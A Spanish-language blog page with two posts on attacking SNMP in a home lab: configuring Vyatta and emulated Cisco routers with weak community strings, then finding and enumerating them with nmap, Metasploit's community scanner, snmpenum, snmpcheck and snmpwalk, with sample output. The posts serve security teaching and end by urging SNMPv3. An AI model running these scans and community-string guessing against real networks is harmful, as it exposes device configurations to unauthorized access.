Mostrando entradas con la etiqueta vyatta. Mostrar todas las entradas
Mostrando entradas con la etiqueta vyatta. Mostrar todas las entradas

martes, 7 de septiembre de 2010

Atacando SNMP (II)

Sacando las cadenas de comunidad

Cargamos metasploit, el módulo necesario y lo configuramos:

root@bt:~# msfconsole
msf > use auxiliary/scanner/snmp/community
Vemos las opciones de configuración:


Pasamos a configurarlo:
msf auxiliary(community) > set RHOSTS 192.168.1.1, 192.168.1.51, 192.168.1.230
RHOSTS => 192.168.1.1, 192.168.1.51, 192.168.1.230
msf auxiliary(community) > set THREADS 3
THREADS => 3

Y lo ejecutamos:


Como se puede ver hemos obtenido las comunidades SNMP gracias a Metasploit.


Leyendo la configuración con snmpenum

Probamos a extrare la configuración del router cisco (el segundo argumento es la cadena y el tercero el fichero de texto con los OID):
root@bt:/pentest/enumeration/snmpenum# ./snmpenum.pl 192.168.1.51 private cisco.txt

Entre toda la información conseguida se encuentra la siguiente:

----------------------------------------
    PROCESSES
----------------------------------------

Chunk Manager
Load Meter
[...]
SNMP ENGINE


----------------------------------------
    IP ADDRESSES
----------------------------------------

192.168.1.51
192.168.2.51



----------------------------------------
    HARDWARE
----------------------------------------

2691 chassis
3620 Chassis Slot
c2691 Motherboard with Fast Ethernet


Y ahora probamos a extraer la información del router de Vyatta, pero esta vez usando los OID de Linux:

root@bt:/pentest/enumeration/snmpenum# ./snmpenum.pl 192.168.1.230 write linux.txt

----------------------------------------
    RUNNING PROCESSES
----------------------------------------

init
kthreadd
migration/0
ksoftirqd/0
watchdog/0


----------------------------------------
    LISTENING UDP PORTS
----------------------------------------

123
161
520


----------------------------------------
    LISTENING TCP PORTS
----------------------------------------

22
443



Leyendo la configuración con snmpcheck

Probamos a leer la configuración con snmpcheck del router cisco (el segundo parámetro es la comunidad y el tercero indica que se compruebe si se puede escribir):

root@bt:/pentest/enumeration/snmpcheck# ./snmpcheck.pl -t 192.168.1.51 -c private -w
snmpcheck.pl v1.7 - snmp enumerator
Copyright (c) 2005-2008 by Matteo Cantoni (nothink.org)

 [*] try to connect to 192.168.1.51...
 [x] Connected to 192.168.1.51! Starting check at Mon Sep  6 17:05:05 2010

 [!] Write access enabled!

[*] Network interfaces
 -----------------------------------------------------------------------------------------------

 IP Forwarding Enabled   : 1

 Interface               : [ up ] FastEthernet0/0
    Hardware Address : 0xc0002bd10000
    Interface Speed  : 10 Mbps
    IP Address       : 192.168.1.51
    Netmask          : 255.255.255.0
    MTU              : 1500
    Bytes In         : 7397380 (7.1M)
    Bytes Out        : 181463 (178K)

 Interface               : [ up ] FastEthernet0/1
    Hardware Address : 0xc0002bd10001
    Interface Speed  : 10 Mbps
    IP Address       : 192.168.2.51
    Netmask          : 255.255.255.0
    MTU              : 1500
    Bytes In         : 58722 (58K)
    Bytes Out        : 82403 (81K)

 Interface               : [ up ] Null0
    Interface Speed  : 4294.967295 Mbps
    MTU              : 1500



Y ahora probamos a extraer la configuración del router Vyatta:
root@bt:/pentest/enumeration/snmpcheck# ./snmpcheck.pl -t 192.168.1.230 -c write -w
snmpcheck.pl v1.7 - snmp enumerator
Copyright (c) 2005-2008 by Matteo Cantoni (nothink.org)

 [*] try to connect to 192.168.1.230...
 [x] Connected to 192.168.1.230! Starting check at Mon Sep  6 17:07:16 2010

 [!] Write access enabled!

 Hostname        : vyatta
 Description     : Vyatta VC6.0-2010.06.01
 Uptime (snmpd)  : 39 minutes, 38.57


[*] Devices
 -----------------------------------------------------------------------------------------------

 Status   Name

 running  network interface lo
 running  network interface eth0
 running  SCSI disk (/dev/sda)
 unknown  Guessing that there's a floating point co-processor
 unknown  GenuineIntel: Intel(R) Core(TM)2 Quad CPU    Q8300  @ 2.50GHz


Se extrae bastante más información, pero pongo sólo una parte.


Leyendo la información con snmpwalk

También es posible utilizar el programa snmpwalk para recorrer toda la MIB (Base de Información de Administración )e ir mostrando cada OID (ID de Objeto).


root@bt:/# snmpwalk -c private -v1 192.168.1.51

Y veremos toda la información:
[...]
IP-FORWARD-MIB::ipCidrRouteDest.192.168.1.0.255.255.255.0.0.0.0.0.0 = IpAddress: 192.168.1.0
IP-FORWARD-MIB::ipCidrRouteDest.192.168.2.0.255.255.255.0.0.0.0.0.0 = IpAddress: 192.168.2.0
IP-FORWARD-MIB::ipCidrRouteMask.192.168.1.0.255.255.255.0.0.0.0.0.0 = IpAddress: 255.255.255.0
[...]



Además de leer la configuración como comentamos en el primer post es posible escribir en la misma utilizando SNMP, si no utilizamos ninguna herramienta gráfica es un proceso bastante engorroso y nada intuitivo (salvo que te aprendas de memoria los OID...) en cualquier caso aquí dejo un ejemplo de la web de Cisco para crear una VLAN por SNMP.


Como hemos visto en las dos últimas entradas el uso del protocolo SNMP es algo que se debe estudiar con cuidado y plantearse la necesidad del mismo, sobretodo si no se usa la versión 3.

Un saludo a todos

lunes, 6 de septiembre de 2010

Atacando SNMP (I)

Es común encontrar dispositivos de red y servidores monitorizados mediante SNMP para obtener estadísticas acerca del tráfico, procesos corriendo en memoria, estado de las interfaces, etc.
El principal problema de seguridad que encontramos en el protocolo SNMP es que, en sus versiones 1 y 2, el campo "comunidad" (usado para la autenticación) va sin cifrar, por lo que cualquier ataque de eavesdropping, como un man in the middle, permitirá leer en claro la cadena y usarla para prácticamente cualquier tipo de fin.
En SNMP se utilizan dos cadenas de comunidad, normalmente una denominada "public" que permite leer la configuración del dispositivo y una denominada "private" que permite leer y grabar la configuración.

Para poder realizar las prácticas vamos a usar Vyatta por un lado (software basado en Linux que permite montar routers de forma gratuita además de poder usarse como IPS,VPN y content filtering) y por otro routers Cisco 2691, en mi caso emulados con GNS3.


Instalación y configuración de Vyatta

Una vez hemos creado una máquina virtual y arrancado desde la iso bastará con que ejecutemos los siguientes comandos para tenerlo todo listo:

vyatta@vyatta# install image
Seguimos los pasos del asistente pero dejándolo todo por defecto no tardaremos más de un par de minutos en instalarlo.

vyatta@vyatta# configure
vyatta@vyatta# set interfaces ethernet eth0 address 192.168.1.230/24
vyatta@vyatta# set service https
vyatta@vyatta# set service ssh
vyatta@vyatta# commit

Con ello conseguiremos activar la interfaz, darle una dirección IP y activar los servicios ssh y https por comodidad.

Para activar SNMP:
vyatta@vyatta# set service snmp community read
vyatta@vyatta# edit service snmp community read
vyatta@vyatta# set authorization ro
vyatta@vyatta# commit
vyatta@vyatta# top

vyatta@vyatta# set service snmp community write
vyatta@vyatta# edit service snmp community write
vyatta@vyatta# set authorization rw
vyatta@vyatta# commit
vyatta@vyatta# top




Configuración Cisco
Router> enable
Router#configure terminal
Router(config)#interface fastEthernet 0/0 (en este caso es la que tengo conectada a la tarjeta de red)
Router(config-if)#ip address 192.168.1.51 255.255.255.0
Router(config-if)#no shutdown
Router(config)#snmp-server community public RORouter(config)#snmp-server community private RW


Localizando dispositivos que utilizan SNMP
Una de las formas más fáciles y rápidas es lanzar un escaneo de puertos con nmap, como sabemos que SNMP utiliza el puerto UDP 161:

root@bt:~# nmap -sU -p161 --open --reason 192.168.1.0/24
 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-09-06 16:33 EDT
Nmap scan report for 192.168.1.1
Host is up, received arp-response (0.0013s latency).
PORT    STATE         SERVICE REASON
161/udp open|filtered snmp    no-response
MAC Address: 00:02:CF:6D:23:DF (ZyGate Communications)

Nmap scan report for 192.168.1.51
Host is up, received arp-response (0.0073s latency).
PORT    STATE SERVICE REASON
161/udp open  snmp    udp-response
MAC Address: C0:00:2B:D1:00:00 (Unknown)

Nmap scan report for 192.168.1.230
Host is up, received arp-response (0.00045s latency).
PORT    STATE SERVICE REASON
161/udp open  snmp    udp-response
MAC Address: 00:0C:29:C1:2E:EE (VMware)

Nmap done: 256 IP addresses (5 hosts up) scanned in 3.29 seconds



La opción --open es para que nmap sólo muestre los host con el puerto categorizado como abierto y --reason nos indica el por qué de dicha categorización.

Una vez que sabemos las direcciones ips debemos "adivinar" las cadenas de comunidad que utilizan los dispositivos.